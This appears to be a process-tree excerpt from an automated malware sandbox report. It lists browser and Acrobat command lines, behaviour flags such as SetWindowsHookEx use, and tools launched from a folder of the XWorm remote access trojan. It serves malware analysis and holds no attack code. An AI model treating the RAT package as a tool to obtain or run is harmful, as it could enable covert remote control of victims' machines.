C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --mojo-platform-channel-handle=1920 --field-trial-handle=1980,i,11509329092172963005,3959318290650349946,131072 /prefetch:84⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --mojo-platform-channel-handle=1984 --field-trial-handle=1980,i,11509329092172963005,3959318290650349946,131072 /prefetch:84⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --display-capture-permissions-policy-allowed --first-renderer-process --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2672 --field-trial-handle=1980,i,11509329092172963005,3959318290650349946,131072 /prefetch:14⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --display-capture-permissions-policy-allowed --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2700 --field-trial-handle=1980,i,11509329092172963005,3959318290650349946,131072 /prefetch:14⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --display-capture-permissions-policy-allowed --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4080 --field-trial-handle=1980,i,11509329092172963005,3959318290650349946,131072 /prefetch:14⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --mojo-platform-channel-handle=4200 --field-trial-handle=1980,i,11509329092172963005,3959318290650349946,131072 /prefetch:84⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --mojo-platform-channel-handle=4244 --field-trial-handle=1980,i,11509329092172963005,3959318290650349946,131072 /prefetch:84⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --mojo-platform-channel-handle=4588 --field-trial-handle=1980,i,11509329092172963005,3959318290650349946,131072 /prefetch:84⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --mojo-platform-channel-handle=4600 --field-trial-handle=1980,i,11509329092172963005,3959318290650349946,131072 /prefetch:84⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --mojo-platform-channel-handle=4616 --field-trial-handle=1980,i,11509329092172963005,3959318290650349946,131072 /prefetch:84⤵
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\Guna.UI2.dll"2⤵
- Checks processor information in registry
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=165140433⤵
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=5C5312488AE7951256FD535A170B923D --mojo-platform-channel-handle=1768 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:24⤵
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=15B5A64AE6FE350026D67382BD5E688A --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=15B5A64AE6FE350026D67382BD5E688A --renderer-client-id=2 --mojo-platform-channel-handle=1776 --allow-no-sandbox-job /prefetch:14⤵
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=D38B3C5BF85A9F763E2E1F34D1422946 --mojo-platform-channel-handle=2184 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:24⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\Tools\vncviewer.exe"C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\Tools\vncviewer.exe"1⤵
-
C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\Tools\ResHacker.exe"C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\Tools\ResHacker.exe"1⤵
-
C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\Tools\vncviewer.exe"C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\Tools\vncviewer.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default1⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9986b3cb8,0x7ff9986b3cc8,0x7ff9986b3cd82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1924 /prefetch:22⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 /prefetch:32⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2520 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3192 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3200 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3960 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4956 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3252 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4700 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3964 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4912 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3716 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3724 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5396 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=4592 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5664 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5356 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4740 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6424 /prefetch:82⤵
- NTFS ADS
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6432 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=6792 /prefetch:22⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6016 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5956 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5832 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5296 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7164 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3496 /prefetch:82⤵
- NTFS ADS
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5508 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7076 /prefetch:82⤵
- NTFS ADS
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7020 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6952 /prefetch:82⤵
- NTFS ADS
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3784 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1956 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7064 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3272 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6892 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6900 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5312 /prefetch:12⤵
-
